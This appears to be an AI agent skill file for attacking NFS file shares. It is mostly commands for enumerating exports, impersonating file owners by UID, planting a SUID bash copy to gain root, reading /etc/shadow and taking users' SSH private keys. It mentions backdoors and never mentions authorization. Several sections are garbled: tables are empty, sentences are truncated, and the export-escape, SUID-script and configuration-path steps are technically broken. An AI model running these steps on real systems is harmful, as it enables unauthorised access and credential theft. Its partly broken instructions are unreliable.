NFS Pentesting Skill

A comprehensive guide for pentesting NFS (Network File System) services, covering enumeration, exploitation, and privilege escalation techniques.

When to Use This Skill

Use this skill when:

• You need to enumerate NFS shares on a target
• You want to mount NFS shares for access
• You're investigating NFS misconfigurations
• You need to exploit NFS for privilege escalation
• Port 2049 is open on a target
• The user mentions NFS, showmount, nfs exports, or network file sharing

Quick Reference

# Basic enumeration
showmount -e <IP>
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Mount a share
mount -t nfs -o vers=2 <IP>:/share /mnt/local -o nolock

# Check for dangerous configurations
nfs_analyze <IP>

NFS Basics

What is NFS?

NFS (Network File System) is a client/server protocol that enables users to access files over a network as if they were local. Key characteristics:

• Default port: 2049/TCP/UDP
• Authentication: Typically relies on UNIX UID/GID identifiers
• Security concern: Client-provided user information is trusted by the server
• Root impersonation: By default, UID 0 (root) is squashed to prevent root access

NFS Versions

Important: NFSv2 is preferred for pentesting due to lack of authentication requirements.

Squashing Behavior

all_squash

nobody

root_squash

nobody

no_root_squash

Enumeration

Step 1: Basic Enumeration with showmount

# List available exports
showmount -e <IP>

# List all information
showmount <IP>

Example output:

Export list for 10.12.0.150:
/backup 192.168.0.0/24
/home 10.0.0.0/8

Step 2: Nmap Scripts

# Comprehensive NFS enumeration
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Individual scripts
nmap --script=nfs-ls -p 2049 <IP>           # List exports and permissions
nmap --script=nfs-showmount -p 2049 <IP>    # Like showmount -e
nmap --script=nfs-statfs -p 2049 <IP>       # Disk statistics

Step 3: Advanced Analysis with nfs_analyze

The

nfs_analyze

# Install
pip install nfs-security-tooling

# Run analysis
nfs_analyze <IP>

This tool checks for:

• Available mounts
• Supported NFS versions
• Connected IPs
• Export escape possibilities

• no_root_squash

  configuration

Step 4: Metasploit Scanner

# In msfconsole
use scanner/nfs/nfsmount
set RHOSTS <IP>
run

Mounting NFS Shares

Basic Mount

# Create local mount point
mkdir -p /mnt/nfs_target

# Mount the share (prefer NFSv2 for pentesting)
mount -t nfs -o vers=2 <IP>:/remote/path /mnt/nfs_target -o nolock

# Example
mount -t nfs -o vers=2 10.12.0.150:/backup /mnt/nfs_target -o nolock

Mount Options Explained

-t nfs

-o vers=2

-o nolock

-o rsize=32768,wsize=32768

Verify Mount

# Check mounted filesystems
mount | grep nfs

# List NFS mounts
showmount -a <IP>

Exploitation Techniques

Technique 1: UID/GID Impersonation

NFS trusts client-provided UID/GID values. Exploit this by:

1. Identify target file ownership:

   ls -la /mnt/nfs_target/
   # Note the UID of files you want to access
   

2. Create local user with matching UID:

   # If file is owned by UID 1001
   useradd -u 1001 pentest_user
   su - pentest_user
   

3. Access the files:

   cd /mnt/nfs_target/
   # Now you can access files owned by UID 1001
   

Technique 2: Using fuse_nfs

The

fuse_nfs

# Install
pip install nfs-security-tooling

# Use fuse_nfs to access files
fuse_nfs <IP>:/export /mnt/local

Technique 3: Export Directory Escape

If

subtree_check

# If /srv is exported but /var is on same filesystem
cd /mnt/nfs_target/
cd ../../var/log/    # Escape to /var/log

# Read sensitive files
cat /etc/shadow
cat /var/log/auth.log

Why this works:

• /etc/shadow

  is owned by root:shadow (GID 42 on Debian)
• Only UID 0 is squashed by default
• Group access is not restricted

Technique 4: no_root_squash Exploitation

If

no_root_squash

# Mount as root
mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock

# You now have root access to the share
cd /mnt/nfs_target/
# Create SUID binaries, modify files, etc.

Technique 5: Using NFSShell

NFSShell simplifies NFS exploitation:

# Install
git clone https://github.com/NetDirect/nfsshell
cd nfsshell
python3 nfsshell.py

# Usage
nfsshell <IP>:/export

Features:

• Easy listing and mounting
• UID/GID manipulation
• File access automation

Privilege Escalation

Via no_root_squash

1. Mount with root access:

   mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock
   

2. Create SUID binary:

   cp /bin/bash /mnt/nfs_target/bash_suid
   chmod 4755 /mnt/nfs_target/bash_suid
   

3. Execute from target:

   # On the NFS server
   /mnt/nfs_target/bash_suid -p
   

Via UID Matching

1. Find high-privilege files:

   find /mnt/nfs_target -uid 0 -type f 2>/dev/null
   

2. Match UID locally:

   useradd -u 0 root_clone  # If no_root_squash
   # Or match specific UID
   useradd -u 1000 target_user
   

3. Access and modify:

   su - target_user
   # Modify files, create backdoors, etc.
   

Dangerous NFS Settings

rw

insecure

no_root_squash

no_all_squash

nohide

subtree_check

Configuration Files

On the NFS server, check:

# Main exports configuration
/etc/exports

# NFS state information
/etc/lib/nfs/etab

Common Attack Scenarios

Scenario 1: Initial Access via NFS

# 1. Enumerate
showmount -e 10.10.10.180

# 2. Mount
mkdir -p /mnt/nfs
mount -t nfs -o vers=2 10.10.10.180:/home /mnt/nfs -o nolock

# 3. Check file ownership
ls -la /mnt/nfs/

# 4. Match UID if needed
useradd -u 1000 pentest
su - pentest

# 5. Access files
cd /mnt/nfs/
cat .ssh/id_rsa

Scenario 2: Privilege Escalation

# 1. Check for no_root_squash
nfs_analyze 10.10.10.180

# 2. If enabled, mount as root
mount -t nfs -o vers=2 10.10.10.180:/share /mnt/nfs -o nolock

# 3. Create SUID binary
echo '#!/bin/bash' > /mnt/nfs/shell
chmod 4755 /mnt/nfs/shell

# 4. Trigger from target
# (requires access to target system)

Scenario 3: Export Escape

# 1. Mount exported directory
mount -t nfs -o vers=2 10.10.10.180:/srv /mnt/nfs -o nolock

# 2. Escape to parent filesystem
cd /mnt/nfs/../../etc/

# 3. Read sensitive files
cat shadow
cat passwd

# 4. Check for writable directories
find /mnt/nfs/../../var -writable 2>/dev/null

Tools Summary

showmount

apt install nfs-common

nmap

nfs_analyze

pip install nfs-security-tooling

fuse_nfs

pip install nfs-security-tooling

nfsshell

git clone

Best Practices

1. Always try NFSv2 first - No authentication required
2. Check for no_root_squash - Most impactful misconfiguration
3. Test export escape - Default on Linux
4. Match UIDs - Access files owned by specific users
5. Use nfs_analyze - Comprehensive vulnerability detection
6. Document findings - Track which techniques worked

References

• NFS Security Tooling
• NFSShell
• NFS Security Article
• NFSShell Tutorial